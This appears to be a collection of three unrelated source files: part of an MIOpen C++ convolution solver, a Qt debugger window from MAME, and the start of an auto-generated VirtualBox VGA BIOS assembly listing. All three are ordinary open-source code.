{
using m_type = scgemm_op_type<T>;
auto routines = m_type::GetSCGemmRoutines();
// Check if the routine inside the routine list.
auto it = std::find_if(routines.begin(), routines.end(), [&](auto r) {
return m_type::Routine2Int(r) == routine;
});
return it != routines.end();
}
template <SCGemmOpType T>
bool PerformanceConfigSCGemmFwd<T>::IsValid(const ConvolutionContext& /*config*/) const
{
return IsValidValue();
}
template <SCGemmOpType T>
void PerformanceConfigSCGemmFwd<T>::EuristicInit(const ConvolutionContext& /*config*/)
{
using m_type = scgemm_op_type<T>;
auto routines = m_type::GetSCGemmRoutines();
routine = m_type::Routine2Int(routines[0]);
}
template <SCGemmOpType T>
std::string PerformanceConfigSCGemmFwd<T>::ToString() const
{
std::ostringstream ss;
ss << *this;
return ss.str();
}
template <SCGemmOpType T>
static PerformanceConfigSCGemmFwd<T> GetPerformanceConfigBase(const ConvolutionContext& params)
{
PerformanceConfigSCGemmFwd<T> pp;
pp.EuristicInit(params);
MIOPEN_LOG_I(pp.ToString());
return pp;
}
template <SCGemmOpType T>
static bool IsApplicableBase(const ConvolutionContext& params)
{
if(!params.use_binaries)
{
return false;
}
const auto name = params.GetStream().GetDeviceName();
if(!StartsWith(name, "gfx906"))
{
return false;
}
if(params.in_layout != "NCHW")
{
return false;
}
if(!params.IsFp32())
{
return false;
}
if(!params.Is2d())
{
return false;
}
if(params.group_counts != 1)
{
return false;
}
if(params.batch_sz > 8192)
{
return false;
}
if(params.kernel_dilation_w != 1 || params.kernel_dilation_h != 1)
{
return false;
}
// invalid input
if(params.in_width < params.kernel_size_w || params.in_height < params.kernel_size_h)
{
return false;
}
if(params.in_width > 4096 || params.in_height > 4096 || params.out_width > 4096 ||
params.out_height > 4096)
{
return false;
}
if(params.pad_w != 0 || params.pad_h != 0)
{
return false;
}
if(params.n_inputs % 8 != 0 || params.n_outputs % 8 != 0)
{
return false;
}
// constraints of the kernel, each buffer size must less than 4 GB
size_t src_size = params.in_width * params.in_height * (params.Is2d() ? 1 : params.in_depth);
size_t dst_size = params.out_width * params.out_height * (params.Is2d() ? 1 : params.out_depth);
size_t filter_size =
params.kernel_size_w * params.kernel_size_h * (params.Is2d() ? 1 : params.kernel_size_d);
size_t auxbuf_size = GetMaximumSCGemmConvFwdAuxBufferSize(params, T);
// H x W < 2^24
if(src_size >= 0x1000000) // 2^24
{
return false;
}
static const size_t MAX_BUFFER_SIZE = (1LLU << 32); // 4 GB
const size_t in_data_len = GetTypeSize(params.in_data_type);
const size_t weights_data_len = GetTypeSize(params.weights_data_type);
const size_t out_data_len = GetTypeSize(params.out_data_type);
return !(
(src_size * params.batch_sz * params.n_inputs * in_data_len >= MAX_BUFFER_SIZE) ||
(dst_size * params.batch_sz * params.n_outputs * out_data_len >= MAX_BUFFER_SIZE) ||
(filter_size * params.n_inputs * params.n_outputs * weights_data_len >= MAX_BUFFER_SIZE) ||
(auxbuf_size >= MAX_BUFFER_SIZE));
}
template <typename B, typename TopT>
static int RunAndMeasureSolutionBase(miopen::Handle& profile_h,
B bot_ocl_buf,
TopT top_ocl_buf,
ConstData_t wei_ocl_buf,
ConstData_t bias_ocl_buf,
const ConvolutionContext& params,
const ConvSolution& solution,
float& elapsed_time)
{
#ifdef NDEBUG
try
#endif
{
elapsed_time = std::numeric_limits<float>::max();
auto workSpace = profile_h.Create(solution.workspce_sz);
std::vector<KernelInvoke> kernels;
int i = 0;
for(auto& k : solution.construction_params)
{
MIOPEN_LOG_I2(k.kernel_name);
auto kernel = profile_h.AddKernel(
"", "", k.kernel_file, k.kernel_name, k.l_wk, k.g_wk, k.comp_options, i);
kernels.push_back(kernel);
++i;
}
elapsed_time = CallSCGemm(profile_h,
params,
bot_ocl_buf,
top_ocl_buf,
wei_ocl_buf,
bias_ocl_buf,
workSpace.get(),
kernels);
MIOPEN_LOG_I2("elapsed_time: " << elapsed_time);
}
#ifdef NDEBUG
catch(miopen::Exception& ex)
{
MIOPEN_LOG_WE(ex.what());
return -1;
}
#endif
return 0;
}
size_t ConvSCGemmFGemm::GetWorkspaceSize(const ConvolutionContext& params) const
{
/// The existing architecture is not fully supporting cases when required workspace-size
/// depends on tunable parameters. The drawback is that Find() needs more
/// workspace than the tuned Solver needs. However the difference between
/// MAX workspace-size (needed for Find()) and actual workspace-size of tuned
/// Solution (returned by GetSCGemmConvFwdWorkSpaceSize()) is very small
/// (never exceeds 1792 bytes), so this is fine. See discussion at
/// https://github.com/AMDComputeLibraries/MLOpen/pull/2068#discussion_r323222063
// For the case which does not specify a particular SCGEMM routine then uses the maximum
// workspace size that needed by SCGMM
return GetMaximumSCGemmConvFwdAuxBufferSize(params, SCGemmOpFGemm);
}
PerformanceConfigSCGemmFwd<SCGemmOpFGemm>
ConvSCGemmFGemm::GetPerformanceConfig(const ConvolutionContext& params) const
{
return GetPerformanceConfigBase<SCGemmOpFGemm>(params);
}
bool ConvSCGemmFGemm::IsValidPerformanceConfig(
const ConvolutionContext& problem, const PerformanceConfigSCGemmFwd<SCGemmOpFGemm>& c) const
{
return c.IsValidValue() && c.IsValid(problem);
}
bool ConvSCGemmFGemm::IsApplicable(const ConvolutionContext& params) const
{
if(!IsApplicableBase<SCGemmOpFGemm>(params))
{
return false;
}
if(params.kernel_size_w != 1 || params.kernel_size_h != 1)
{
return false;
}
if(params.kernel_stride_w != 1 || params.kernel_stride_h != 1)
{
return false;
}
if(params.kernel_dilation_w != 1 || params.kernel_dilation_h != 1)
{
return false;
}
// TODO: if 3-dimensional is supported.
/*
if(!params.Is2d() && (params.kernel_size_d != 1 || params.kernel_stride_d != 1 ||
params.kernel_dilation_d != 1))
{
return false;
}
*/
if(params.n_inputs > 8192 || params.n_outputs > 8192)
{
return false;
}
return true;
}
ConvSolution ConvSCGemmFGemm::GetSolution(const ConvolutionContext& params,
const PerformanceConfigSCGemmFwd<SCGemmOpFGemm>& config,
const bool /*disableConfigOverrideFromEnv*/) const
{
ConvSolution result;
SCGemmKernelParams scgParams;
scgParams.type = SCGemmOpFGemm;
scgParams.routine = config.routine;
CompiledSCGemmKernelParams(params, scgParams);
KernelInfo kernel;
const auto name = params.GetStream().GetDeviceName();
const auto file = "scgemm_v0_5_0_" + name + ".so";
kernel.kernel_file = file;
kernel.kernel_name = scgParams.kernel_name;
kernel.g_wk.push_back(scgParams.grids[0] * scgParams.blocks[0]);
kernel.g_wk.push_back(scgParams.grids[1] * scgParams.blocks[1]);
kernel.g_wk.push_back(scgParams.grids[2] * scgParams.blocks[2]);
kernel.l_wk.push_back(scgParams.blocks[0]);
kernel.l_wk.push_back(scgParams.blocks[1]);
kernel.l_wk.push_back(scgParams.blocks[2]);
size_t m_ws = GetSCGemmConvFwdWorkSpaceSize(params, scgParams.type, config.routine);
result.workspce_sz = m_ws;
result.construction_params.push_back(kernel);
MIOPEN_LOG_I2(kernel.kernel_file + ":" + kernel.kernel_name);
KernelInfo aux_kernel;
size_t local_size = 128;
size_t global_size = ((m_ws + local_size - 1) / local_size) * local_size;
aux_kernel.kernel_file = "SCGemmUtils.cl";
aux_kernel.kernel_name = "cl_gemm_generate_amap";
aux_kernel.l_wk.clear();
aux_kernel.l_wk.push_back(128);
aux_kernel.g_wk.clear();
aux_kernel.g_wk.push_back(global_size);
result.construction_params.push_back(aux_kernel);
return result;
}
template <typename B, typename TopT>
int ConvSCGemmFGemm::RunAndMeasureSolution(miopen::Handle& profile_h,
B bot_ocl_buf,
TopT top_ocl_buf,
ConstData_t wei_ocl_buf,
ConstData_t bias_ocl_buf,
const ConvolutionContext& params,
const ConvSolution& solution,
float& elapsed_time) const
{
return RunAndMeasureSolutionBase<B, TopT>(profile_h,
bot_ocl_buf,
top_ocl_buf,
wei_ocl_buf,
bias_ocl_buf,
params,
solution,
elapsed_time);
}
PerformanceConfigSCGemmFwd<SCGemmOpFGemm>
ConvSCGemmFGemm::Search(const ConvolutionContext& context) const
{
return GenericSearchFwd(*this, context);
}
template struct PerformanceConfigSCGemmFwd<SCGemmOpFGemm>;
} // namespace solver
} // namespace miopen
|
// license:BSD-3-Clause
// copyright-holders:Andrew Gardner
#include "emu.h"
#include <QtWidgets/QAction>
#include <QtWidgets/QMenu>
#include <QtWidgets/QMenuBar>
#include <QtWidgets/QDockWidget>
#include <QtWidgets/QScrollBar>
#include <QtWidgets/QFileDialog>
#include <QtGui/QCloseEvent>
#include "mainwindow.h"
#include "debug/debugcon.h"
#include "debug/debugcpu.h"
#include "debug/dvdisasm.h"
MainWindow::MainWindow(running_machine* machine, QWidget* parent) :
WindowQt(machine, nullptr),
m_historyIndex(0),
m_inputHistory()
{
setGeometry(300, 300, 1000, 600);
//
// The main frame and its input and log widgets
//
QFrame* mainWindowFrame = new QFrame(this);
// The input line
m_inputEdit = new QLineEdit(mainWindowFrame);
connect(m_inputEdit, &QLineEdit::returnPressed, this, &MainWindow::executeCommandSlot);
m_inputEdit->installEventFilter(this);
// The log view
m_consoleView = new DebuggerView(DVT_CONSOLE,
m_machine,
mainWindowFrame);
m_consoleView->setFocusPolicy(Qt::NoFocus);
m_consoleView->setPreferBottom(true);
QVBoxLayout* vLayout = new QVBoxLayout(mainWindowFrame);
vLayout->addWidget(m_consoleView);
vLayout->addWidget(m_inputEdit);
vLayout->setSpacing(3);
vLayout->setContentsMargins(4,0,4,2);
setCentralWidget(mainWindowFrame);
//
// Options Menu
//
// Create three commands
m_breakpointToggleAct = new QAction("Toggle Breakpoint at Cursor", this);
m_breakpointEnableAct = new QAction("Disable Breakpoint at Cursor", this);
m_runToCursorAct = new QAction("Run to Cursor", this);
m_breakpointToggleAct->setShortcut(Qt::Key_F9);
m_breakpointEnableAct->setShortcut(Qt::SHIFT + Qt::Key_F9);
m_runToCursorAct->setShortcut(Qt::Key_F4);
connect(m_breakpointToggleAct, &QAction::triggered, this, &MainWindow::toggleBreakpointAtCursor);
connect(m_breakpointEnableAct, &QAction::triggered, this, &MainWindow::enableBreakpointAtCursor);
connect(m_runToCursorAct, &QAction::triggered, this, &MainWindow::runToCursor);
// Right bar options
QActionGroup* rightBarGroup = new QActionGroup(this);
rightBarGroup->setObjectName("rightbargroup");
QAction* rightActRaw = new QAction("Raw Opcodes", this);
QAction* rightActEncrypted = new QAction("Encrypted Opcodes", this);
QAction* rightActComments = new QAction("Comments", this);
rightActRaw->setCheckable(true);
rightActEncrypted->setCheckable(true);
rightActComments->setCheckable(true);
rightActRaw->setActionGroup(rightBarGroup);
rightActEncrypted->setActionGroup(rightBarGroup);
rightActComments->setActionGroup(rightBarGroup);
rightActRaw->setShortcut(QKeySequence("Ctrl+R"));
rightActEncrypted->setShortcut(QKeySequence("Ctrl+E"));
rightActComments->setShortcut(QKeySequence("Ctrl+N"));
rightActRaw->setChecked(true);
connect(rightBarGroup, &QActionGroup::triggered, this, &MainWindow::rightBarChanged);
// Assemble the options menu
QMenu* optionsMenu = menuBar()->addMenu("&Options");
optionsMenu->addAction(m_breakpointToggleAct);
optionsMenu->addAction(m_breakpointEnableAct);
optionsMenu->addAction(m_runToCursorAct);
optionsMenu->addSeparator();
optionsMenu->addActions(rightBarGroup->actions());
//
// Images menu
//
image_interface_iterator imageIterTest(m_machine->root_device());
if (imageIterTest.first() != nullptr)
{
createImagesMenu();
}
//
// Dock window menu
//
QMenu* dockMenu = menuBar()->addMenu("Doc&ks");
setCorner(Qt::TopRightCorner, Qt::TopDockWidgetArea);
setCorner(Qt::TopLeftCorner, Qt::LeftDockWidgetArea);
// The processor dock
QDockWidget* cpuDock = new QDockWidget("processor", this);
cpuDock->setObjectName("cpudock");
cpuDock->setAllowedAreas(Qt::LeftDockWidgetArea);
m_procFrame = new ProcessorDockWidget(m_machine, cpuDock);
cpuDock->setWidget(dynamic_cast<QWidget*>(m_procFrame));
addDockWidget(Qt::LeftDockWidgetArea, cpuDock);
dockMenu->addAction(cpuDock->toggleViewAction());
// The disassembly dock
QDockWidget* dasmDock = new QDockWidget("dasm", this);
dasmDock->setObjectName("dasmdock");
dasmDock->setAllowedAreas(Qt::TopDockWidgetArea);
m_dasmFrame = new DasmDockWidget(m_machine, dasmDock);
dasmDock->setWidget(m_dasmFrame);
connect(m_dasmFrame->view(), &DebuggerView::updated, this, &MainWindow::dasmViewUpdated);
addDockWidget(Qt::TopDockWidgetArea, dasmDock);
dockMenu->addAction(dasmDock->toggleViewAction());
}
MainWindow::~MainWindow()
{
}
void MainWindow::setProcessor(device_t* processor)
{
// Cpu swap
m_procFrame->view()->view()->set_source(*m_procFrame->view()->view()->source_for_device(processor));
m_dasmFrame->view()->view()->set_source(*m_dasmFrame->view()->view()->source_for_device(processor));
// Scrollbar refresh - seems I should be able to do in the DebuggerView
m_dasmFrame->view()->verticalScrollBar()->setValue(m_dasmFrame->view()->view()->visible_position().y);
m_dasmFrame->view()->verticalScrollBar()->setValue(m_dasmFrame->view()->view()->visible_position().y);
// Window title
string_format("Debug: %s - %s '%s'", m_machine->system().name, processor->name(), processor->tag());
setWindowTitle(string_format("Debug: %s - %s '%s'", m_machine->system().name, processor->name(), processor->tag()).c_str());
}
// Used to intercept the user clicking 'X' in the upper corner
void MainWindow::closeEvent(QCloseEvent* event)
{
debugActQuit();
// Insure the window doesn't disappear before we get a chance to save its parameters
event->ignore();
}
// Used to intercept the user hitting the up arrow in the input widget
bool MainWindow::eventFilter(QObject* obj, QEvent* event)
{
// Only filter keypresses
QKeyEvent* keyEvent = nullptr;
if (event->type() == QEvent::KeyPress)
{
keyEvent = static_cast<QKeyEvent*>(event);
}
else
{
return QObject::eventFilter(obj, event);
}
// Catch up & down keys
if (keyEvent->key() == Qt::Key_Up || keyEvent->key() == Qt::Key_Down)
{
if (keyEvent->key() == Qt::Key_Up)
{
if (m_historyIndex > 0)
m_historyIndex--;
}
else if (keyEvent->key() == Qt::Key_Down)
{
if (m_historyIndex < m_inputHistory.size())
m_historyIndex++;
}
// Populate the input edit or clear it if you're at the end
if (m_historyIndex == m_inputHistory.size())
{
m_inputEdit->setText("");
}
else
{
m_inputEdit->setText(m_inputHistory[m_historyIndex]);
}
}
else if (keyEvent->key() == Qt::Key_Enter)
{
executeCommand(false);
}
else
{
return QObject::eventFilter(obj, event);
}
return true;
}
void MainWindow::toggleBreakpointAtCursor(bool changedTo)
{
debug_view_disasm *const dasmView = downcast<debug_view_disasm*>(m_dasmFrame->view()->view());
if (dasmView->cursor_visible() && (m_machine->debugger().cpu().get_visible_cpu() == dasmView->source()->device()))
{
offs_t const address = downcast<debug_view_disasm *>(dasmView)->selected_address();
device_debug *const cpuinfo = dasmView->source()->device()->debug();
// Find an existing breakpoint at this address
int32_t bpindex = -1;
for (device_debug::breakpoint* bp = cpuinfo->breakpoint_first();
bp != nullptr;
bp = bp->next())
{
if (address == bp->address())
{
bpindex = bp->index();
break;
}
}
// If none exists, add a new one
std::string command;
if (bpindex == -1)
{
command = string_format("bpset 0x%X", address);
}
else
{
command = string_format("bpclear 0x%X", bpindex);
}
m_machine->debugger().console().execute_command(command.c_str(), true);
}
refreshAll();
}
void MainWindow::enableBreakpointAtCursor(bool changedTo)
{
debug_view_disasm *const dasmView = downcast<debug_view_disasm*>(m_dasmFrame->view()->view());
if (dasmView->cursor_visible() && (m_machine->debugger().cpu().get_visible_cpu() == dasmView->source()->device()))
{
offs_t const address = dasmView->selected_address();
device_debug *const cpuinfo = dasmView->source()->device()->debug();
// Find an existing breakpoint at this address
device_debug::breakpoint* bp = cpuinfo->breakpoint_first();
while ((bp != nullptr) && (bp->address() != address))
bp = bp->next();
if (bp != nullptr)
{
int32_t const bpindex = bp->index();
std::string command = string_format(bp->enabled() ? "bpdisable 0x%X" : "bpenable 0x%X", bpindex);
m_machine->debugger().console().execute_command(command.c_str(), true);
}
}
refreshAll();
}
void MainWindow::runToCursor(bool changedTo)
{
debug_view_disasm* dasmView = downcast<debug_view_disasm*>(m_dasmFrame->view()->view());
if (dasmView->cursor_visible() && (m_machine->debugger().cpu().get_visible_cpu() == dasmView->source()->device()))
{
offs_t address = downcast<debug_view_disasm*>(dasmView)->selected_address();
std::string command = string_format("go 0x%X", address);
m_machine->debugger().console().execute_command(command.c_str(), true);
}
}
void MainWindow::rightBarChanged(QAction* changedTo)
{
debug_view_disasm* dasmView = downcast<debug_view_disasm*>(m_dasmFrame->view()->view());
if (changedTo->text() == "Raw Opcodes")
{
dasmView->set_right_column(DASM_RIGHTCOL_RAW);
}
else if (changedTo->text() == "Encrypted Opcodes")
{
dasmView->set_right_column(DASM_RIGHTCOL_ENCRYPTED);
}
else if (changedTo->text() == "Comments")
{
dasmView->set_right_column(DASM_RIGHTCOL_COMMENTS);
}
m_dasmFrame->view()->viewport()->update();
}
void MainWindow::executeCommandSlot()
{
executeCommand(true);
}
void MainWindow::executeCommand(bool withClear)
{
QString command = m_inputEdit->text();
// A blank command is a "silent step"
if (command == "")
{
m_machine->debugger().cpu().get_visible_cpu()->debug()->single_step();
return;
}
// Send along the command
m_machine->debugger().console().execute_command(command.toLocal8Bit().data(), true);
// Add history & set the index to be the top of the stack
addToHistory(command);
// Clear out the text and reset the history pointer only if asked
if (withClear)
{
m_inputEdit->clear();
m_historyIndex = m_inputHistory.size();
}
// Refresh
m_consoleView->viewport()->update();
refreshAll();
}
void MainWindow::mountImage(bool changedTo)
{
// The image interface index was assigned to the QAction's data memeber
const int imageIndex = dynamic_cast<QAction*>(sender())->data().toInt();
image_interface_iterator iter(m_machine->root_device());
device_image_interface *img = iter.byindex(imageIndex);
if (img == nullptr)
{
m_machine->debugger().console().printf("Something is wrong with the mount menu.\n");
refreshAll();
return;
}
// File dialog
QString filename = QFileDialog::getOpenFileName(this,
"Select an image file",
QDir::currentPath(),
tr("All files (*.*)"));
if (img->load(filename.toUtf8().data()) != image_init_result::PASS)
{
m_machine->debugger().console().printf("Image could not be mounted.\n");
refreshAll();
return;
}
// Activate the unmount menu option
QAction* unmountAct = sender()->parent()->findChild<QAction*>("unmount");
unmountAct->setEnabled(true);
// Set the mount name
QMenu* parentMenuItem = dynamic_cast<QMenu*>(sender()->parent());
QString baseString = parentMenuItem->title();
baseString.truncate(baseString.lastIndexOf(QString(" : ")));
const QString newTitle = baseString + QString(" : ") + QString(img->filename());
parentMenuItem->setTitle(newTitle);
m_machine->debugger().console().printf("Image %s mounted successfully.\n", filename.toUtf8().data());
refreshAll();
}
void MainWindow::unmountImage(bool changedTo)
{
// The image interface index was assigned to the QAction's data memeber
const int imageIndex = dynamic_cast<QAction*>(sender())->data().toInt();
image_interface_iterator iter(m_machine->root_device());
device_image_interface *img = iter.byindex(imageIndex);
img->unload();
// Deactivate the unmount menu option
dynamic_cast<QAction*>(sender())->setEnabled(false);
// Set the mount name
QMenu* parentMenuItem = dynamic_cast<QMenu*>(sender()->parent());
QString baseString = parentMenuItem->title();
baseString.truncate(baseString.lastIndexOf(QString(" : ")));
const QString newTitle = baseString + QString(" : ") + QString("[empty slot]");
parentMenuItem->setTitle(newTitle);
m_machine->debugger().console().printf("Image successfully unmounted.\n");
refreshAll();
}
void MainWindow::dasmViewUpdated()
{
debug_view_disasm *const dasmView = downcast<debug_view_disasm*>(m_dasmFrame->view()->view());
bool const haveCursor = dasmView->cursor_visible() && (m_machine->debugger().cpu().get_visible_cpu() == dasmView->source()->device());
bool haveBreakpoint = false;
bool breakpointEnabled = false;
if (haveCursor)
{
offs_t const address = dasmView->selected_address();
device_t *const device = dasmView->source()->device();
device_debug *const cpuinfo = device->debug();
// Find an existing breakpoint at this address
device_debug::breakpoint* bp = cpuinfo->breakpoint_first();
while ((bp != nullptr) && (bp->address() != address))
bp = bp->next();
if (bp != nullptr)
{
haveBreakpoint = true;
breakpointEnabled = bp->enabled();
}
}
m_breakpointToggleAct->setText(haveBreakpoint ? "Clear Breakpoint at Cursor" : haveCursor ? "Set Breakpoint at Cursor" : "Toggle Breakpoint at Cursor");
m_breakpointEnableAct->setText((!haveBreakpoint || breakpointEnabled) ? "Disable Breakpoint at Cursor" : "Enable Breakpoint at Cursor");
m_breakpointToggleAct->setEnabled(haveCursor);
m_breakpointEnableAct->setEnabled(haveBreakpoint);
m_runToCursorAct->setEnabled(haveCursor);
}
void MainWindow::debugActClose()
{
m_machine->schedule_exit();
}
void MainWindow::addToHistory(const QString& command)
{
if (command == "")
return;
// Always push back when there is no previous history
if (m_inputHistory.size() == 0)
{
m_inputHistory.push_back(m_inputEdit->text());
return;
}
// If there is previous history, make sure it's not what you just executed
if (m_inputHistory.back() != m_inputEdit->text())
{
m_inputHistory.push_back(m_inputEdit->text());
}
}
void MainWindow::createImagesMenu()
{
QMenu* imagesMenu = menuBar()->addMenu("&Images");
int interfaceIndex = 0;
for (device_image_interface &img : image_interface_iterator(m_machine->root_device()))
{
std::string menuName = string_format("%s : %s", img.device().name(), img.exists() ? img.filename() : "[empty slot]");
QMenu* interfaceMenu = imagesMenu->addMenu(menuName.c_str());
interfaceMenu->setObjectName(img.device().name());
QAction* mountAct = new QAction("Mount...", interfaceMenu);
QAction* unmountAct = new QAction("Unmount", interfaceMenu);
mountAct->setObjectName("mount");
mountAct->setData(QVariant(interfaceIndex));
unmountAct->setObjectName("unmount");
unmountAct->setData(QVariant(interfaceIndex));
connect(mountAct, &QAction::triggered, this, &MainWindow::mountImage);
connect(unmountAct, &QAction::triggered, this, &MainWindow::unmountImage);
if (!img.exists())
unmountAct->setEnabled(false);
interfaceMenu->addAction(mountAct);
interfaceMenu->addAction(unmountAct);
// TODO: Cassette operations
interfaceIndex++;
}
}
//=========================================================================
// MainWindowQtConfig
//=========================================================================
void MainWindowQtConfig::buildFromQWidget(QWidget* widget)
{
WindowQtConfig::buildFromQWidget(widget);
MainWindow* window = dynamic_cast<MainWindow*>(widget);
m_windowState = window->saveState();
QActionGroup* rightBarGroup = window->findChild<QActionGroup*>("rightbargroup");
if (rightBarGroup->checkedAction()->text() == "Raw Opcodes")
m_rightBar = 0;
else if (rightBarGroup->checkedAction()->text() == "Encrypted Opcodes")
m_rightBar = 1;
else if (rightBarGroup->checkedAction()->text() == "Comments")
m_rightBar = 2;
}
void MainWindowQtConfig::applyToQWidget(QWidget* widget)
{
WindowQtConfig::applyToQWidget(widget);
MainWindow* window = dynamic_cast<MainWindow*>(widget);
window->restoreState(m_windowState);
QActionGroup* rightBarGroup = window->findChild<QActionGroup*>("rightbargroup");
rightBarGroup->actions()[m_rightBar]->trigger();
}
void MainWindowQtConfig::addToXmlDataNode(util::xml::data_node &node) const
{
WindowQtConfig::addToXmlDataNode(node);
node.set_attribute_int("rightbar", m_rightBar);
node.set_attribute("qtwindowstate", m_windowState.toPercentEncoding().data());
}
void MainWindowQtConfig::recoverFromXmlNode(util::xml::data_node const &node)
{
WindowQtConfig::recoverFromXmlNode(node);
const char* state = node.get_attribute_string("qtwindowstate", "");
m_windowState = QByteArray::fromPercentEncoding(state);
m_rightBar = node.get_attribute_int("rightbar", m_rightBar);
}
DasmDockWidget::~DasmDockWidget()
{
}
ProcessorDockWidget::~ProcessorDockWidget()
{
}
|
; $Id: VBoxVgaBiosAlternative386.asm $
;; @file
; Auto Generated source file. Do not edit.
;
;
; Source file: vgarom.asm
;
; ============================================================================================
;
; Copyright (C) 2001,2002 the LGPL VGABios developers Team
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
;
; ============================================================================================
;
; This VGA Bios is specific to the plex86/bochs Emulated VGA card.
; You can NOT drive any physical vga card with it.
;
; ============================================================================================
;
;
; Source file: vberom.asm
;
; ============================================================================================
;
; Copyright (C) 2002 Jeroen Janssen
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
; Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
;
; ============================================================================================
;
; This VBE is part of the VGA Bios specific to the plex86/bochs Emulated VGA card.
; You can NOT drive any physical vga card with it.
;
; ============================================================================================
;
; This VBE Bios is based on information taken from :
; - VESA BIOS EXTENSION (VBE) Core Functions Standard Version 3.0 located at www.vesa.org
;
; ============================================================================================
;
; Source file: vgabios.c
;
; // ============================================================================================
;
; vgabios.c
;
; // ============================================================================================
; //
; // Copyright (C) 2001,2002 the LGPL VGABios developers Team
; //
; // This library is free software; you can redistribute it and/or
; // modify it under the terms of the GNU Lesser General Public
; // License as published by the Free Software Foundation; either
; // version 2 of the License, or (at your option) any later version.
; //
; // This library is distributed in the hope that it will be useful,
; // but WITHOUT ANY WARRANTY; without even the implied warranty of
; // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; // Lesser General Public License for more details.
; //
; // You should have received a copy of the GNU Lesser General Public
; // License along with this library; if not, write to the Free Software
; // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
; //
; // ============================================================================================
; //
; // This VGA Bios is specific to the plex86/bochs Emulated VGA card.
; // You can NOT drive any physical vga card with it.
; //
; // ============================================================================================
; //
; // This file contains code ripped from :
; // - rombios.c of plex86
; //
; // This VGA Bios contains fonts from :
; // - fntcol16.zip (c) by Joseph Gil avalable at :
; // ftp://ftp.simtel.net/pub/simtelnet/msdos/screen/fntcol16.zip
; // These fonts are public domain
; //
; // This VGA Bios is based on information taken from :
; // - Kevin Lawton's vga card emulation for bochs/plex86
; // - Ralf Brown's interrupts list available at http://www.cs.cmu.edu/afs/cs/user/ralf/pub/WWW/files.html
; // - Finn Thogersons' VGADOC4b available at http://home.worldonline.dk/~finth/
; // - Michael Abrash's Graphics Programming Black Book
; // - Francois Gervais' book "programmation des cartes graphiques cga-ega-vga" edited by sybex
; // - DOSEMU 1.0.1 source code for several tables values and formulas
; //
; // Thanks for patches, comments and ideas to :
; // - techt@pikeonline.net
; //
; // ============================================================================================
;
; Source file: vbe.c
;
; // ============================================================================================
; //
; // Copyright (C) 2002 Jeroen Janssen
; //
; // This library is free software; you can redistribute it and/or
; // modify it under the terms of the GNU Lesser General Public
; // License as published by the Free Software Foundation; either
; // version 2 of the License, or (at your option) any later version.
; //
; // This library is distributed in the hope that it will be useful,
; // but WITHOUT ANY WARRANTY; without even the implied warranty of
; // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; // Lesser General Public License for more details.
; //
; // You should have received a copy of the GNU Lesser General Public
; // License along with this library; if not, write to the Free Software
; // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
; //
; // ============================================================================================
; //
; // This VBE is part of the VGA Bios specific to the plex86/bochs Emulated VGA card.
; // You can NOT drive any physical vga card with it.
; //
; // ============================================================================================
; //
; // This VBE Bios is based on information taken from :
; // - VESA BIOS EXTENSION (VBE) Core Functions Standard Version 3.0 located at www.vesa.org
; //
; // ============================================================================================
;
; Oracle LGPL Disclaimer: For the avoidance of doubt, except that if any license choice
; other than GPL or LGPL is available it will apply instead, Oracle elects to use only
; the Lesser General Public License version 2.1 (LGPLv2) at this time for any software where
; a choice of LGPL license versions is made available with the language indicating
; that LGPLv2 or any later version may be used, or where a choice of which version
; of the LGPL is applied is otherwise unspecified.
;
section VGAROM progbits vstart=0x0 align=1 ; size=0x90a class=CODE group=AUTO
db 055h, 0aah, 040h, 0e9h, 062h, 00ah, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 049h, 042h
db 04dh, 000h
vgabios_int10_handler: ; 0xc0022 LB 0x54e
pushfw ; 9c
cmp ah, 00fh ; 80 fc 0f
jne short 0002eh ; 75 06
call 0017ah ; e8 4f 01
jmp near 000eah ; e9 bc 00
cmp ah, 01ah ; 80 fc 1a
jne short 00039h ; 75 06
call 0052fh ; e8 f9 04
jmp near 000eah ; e9 b1 00
cmp ah, 00bh ; 80 fc 0b
jne short 00044h ; 75 06
call 000ech ; e8 ab 00
jmp near 000eah ; e9 a6 00
cmp ax, 01103h ; 3d 03 11
jne short 0004fh ; 75 06
call 00426h ; e8 da 03
jmp near 000eah ; e9 9b 00
cmp ah, 012h ; 80 fc 12
jne short 00092h ; 75 3e
cmp bl, 010h ; 80 fb 10
jne short 0005fh ; 75 06
call 00433h ; e8 d7 03
jmp near 000eah ; e9 8b 00
cmp bl, 030h ; 80 fb 30
jne short 0006ah ; 75 06
call 00456h ; e8 ef 03
jmp near 000eah ; e9 80 00
cmp bl, 031h ; 80 fb 31
jne short 00074h ; 75 05
call 004a9h ; e8 37 04
jmp short 000eah ; eb 76
cmp bl, 032h ; 80 fb 32
jne short 0007eh ; 75 05
call 004cbh ; e8 4f 04
jmp short 000eah ; eb 6c
cmp bl, 033h ; 80 fb 33
jne short 00088h ; 75 05
call 004e9h ; e8 63 04
jmp short 000eah ; eb 62
cmp bl, 034h ; 80 fb 34
jne short 000dch ; 75 4f
call 0050dh ; e8 7d 04
jmp short 000eah ; eb 58
cmp ax, 0101bh ; 3d 1b 10
je short 000dch ; 74 45
cmp ah, 010h ; 80 fc 10
jne short 000a1h ; 75 05
